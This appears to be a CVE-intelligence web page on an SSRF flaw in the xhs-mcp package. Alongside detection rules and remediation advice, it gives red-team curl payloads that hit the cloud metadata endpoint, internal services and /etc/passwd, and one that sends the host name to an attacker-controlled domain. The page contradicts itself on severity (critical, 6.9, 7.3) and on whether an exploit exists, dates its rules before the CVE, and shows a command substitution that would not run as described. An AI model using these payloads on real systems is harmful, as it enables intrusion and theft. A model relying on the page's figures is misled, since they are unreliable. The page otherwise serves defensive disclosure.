☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Algovate logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-7417

CVE-2026-7417 is a critical Server-Side Request Forgery (SSRF) vulnerability in Algovate’s xhs-mcp version 0.
📅 PUBLISHED: 2026-04-29 21:45 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1090
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-7417 is a critical Server-Side Request Forgery (SSRF) vulnerability in Algovate’s xhs-mcp version 0.8.11. The flaw resides in the xhs_publish_content function within src/server/mcp.server.ts, where the media_paths argument is not properly validated. An attacker can remotely manipulate this parameter to force the server to make arbitrary HTTP requests to internal or external resources, potentially leading to data exfiltration, internal network scanning, or pivot attacks. The exploit has been publicly disclosed, and the vendor has not responded to the issue report. No patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects an npm package (xhs-mcp). Organizations using this package in their Node.js applications are at risk. Since the package is open source and the vendor is unresponsive, the supply chain is compromised. Users should immediately assess their dependency tree for any usage of xhs-mcp version 0.8.11 and consider forking or replacing the package.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.3 (HIGH)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: HIGH – The vulnerability is remotely exploitable without authentication, and a public exploit exists. The lack of vendor response increases the risk of widespread exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the MCP (Model Context Protocol) interface of xhs-mcp. The xhs_publish_content function accepts a media_paths argument that is intended to specify file paths for media uploads. However, the function does not sanitize or validate the input, allowing an attacker to supply URLs or IP addresses instead of local file paths.

When the server processes the media_paths argument, it makes HTTP requests to the provided locations. An attacker can exploit this to:

  • Scan internal network hosts and ports.
  • Access cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ on AWS).
  • Read local files using file:// protocol (if supported).
  • Perform blind SSRF attacks to exfiltrate data via DNS or HTTP callbacks.

The attack is initiated remotely by sending a crafted request to the MCP endpoint with a malicious media_paths value.

Vulnerable vs. Patched Code

Vulnerable Code (xhs-mcp 0.8.11):

// src/server/mcp.server.ts
async function xhs_publish_content(media_paths: string[]) {
  for (const path of media_paths) {
    // No validation – directly fetches the path
    const response = await fetch(path);
    // ... process response
  }
}

Patched Code (Hypothetical):

// src/server/mcp.server.ts
import { URL } from 'url';
import { isIP } from 'net';

async function xhs_publish_content(media_paths: string[]) {
  for (const path of media_paths) {
    // Validate that path is a local file
    const parsed = new URL(path, 'file://');
    if (parsed.protocol !== 'file:') {
      throw new Error('Only local file paths are allowed');
    }
    // Ensure no IP addresses or hostnames
    if (isIP(parsed.hostname)) {
      throw new Error('IP addresses are not allowed');
    }
    // Use fs.readFile instead of fetch
    const content = await fs.promises.readFile(parsed.pathname);
    // ... process content
  }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running xhs-mcp 0.8.11 with MCP interface exposed.
  • Attacker machine with network access to the target.

Exploit Steps:

  1. Identify the MCP endpoint (e.g., http://target:3000/mcp).
  2. Craft a POST request with a malicious media_paths array.
curl -X POST http://target:3000/mcp \
  -H "Content-Type: application/json" \
  -d '{
    "action": "xhs_publish_content",
    "media_paths": [
      "http://169.254.169.254/latest/meta-data/",
      "http://internal-service:8080/admin",
      "file:///etc/passwd"
    ]
  }'
  1. Monitor for responses or outbound connections to your callback server.

Advanced Exploit: Use SSRF to pivot to internal services or exfiltrate cloud metadata.

# Exfiltrate via DNS
curl -X POST http://target:3000/mcp \
  -H "Content-Type: application/json" \
  -d '{
    "action": "xhs_publish_content",
    "media_paths": [
      "http://attacker-controlled-domain.com/$(cat /etc/hostname)"
    ]
  }'

Blue Team

Detection Steps:

  1. Monitor outbound HTTP requests from the xhs-mcp server to unexpected destinations (internal IPs, cloud metadata IPs, or external callback domains).
  2. Look for requests with media_paths containing URLs or IP addresses in logs.
  3. Use network segmentation to restrict the server’s outbound access.

Honeypot Setup:

Deploy a fake internal service to detect SSRF probes.

# Simple Python honeypot
python3 -m http.server 8080 --bind 0.0.0.0

Monitor for connections from the xhs-mcp server.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to 169.254.169.254 (AWS metadata)
    • Outbound requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
    • Requests to known SSRF callback services (e.g., burpcollaborator.net, interactsh.com)
  • File IOCs:
    • Log entries containing media_paths with URLs or IP addresses.
  • Process IOCs:
    • Node.js process making unexpected outbound connections.

Detection Engineering

YARA Rule

rule CVE_2026_7417_SSRF_xhs_mcp {
  meta:
    description = "Detects SSRF exploitation attempts against xhs-mcp CVE-2026-7417"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2026-7417"
  strings:
    $ssrf_pattern = /media_paths["']?\s*:\s*\[[^\]]*https?:\/\// nocase
    $ip_pattern = /(?:https?:\/\/)?(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
  condition:
    any of them
}

Sigma Rule

title: SSRF Exploitation via xhs-mcp CVE-2026-7417
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts against xhs-mcp by monitoring outbound HTTP requests to internal IPs
author: Valters IT
date: 2025-04-10
logsource:
  category: network_connection
  product: windows
  service: sysmon
detection:
  selection:
    DestinationIp:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
      - '169.254.169.254'
    Image|endswith: '\node.exe'
  condition: selection
falsepositives:
  - Legitimate internal service calls (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2026-7417 - xhs-mcp SSRF Attempt to Internal IP";
  flow:to_server;
  content:"media_paths"; http_client_body;
  pcre:"/(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/";
  sid:10000001;
  rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the xhs-mcp server from internal networks and the internet if possible.
  2. Restrict outbound traffic from the server using a firewall or egress proxy.
  3. Monitor logs for SSRF patterns.

Long-term Fix:

Since the vendor is unresponsive, the following options are recommended:

  • Fork the repository and apply the patch described in the Vulnerable vs. Patched Code section.
  • Replace the package with an alternative that does not have this vulnerability.
  • Implement a WAF rule to block requests containing media_paths with URLs or IP addresses.

Workaround:

Modify the xhs_publish_content function to only accept local file paths and use fs.readFile instead of fetch.


Valters IT – DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 0D292F0FC0696A7D2EBC0E43] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-7417/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.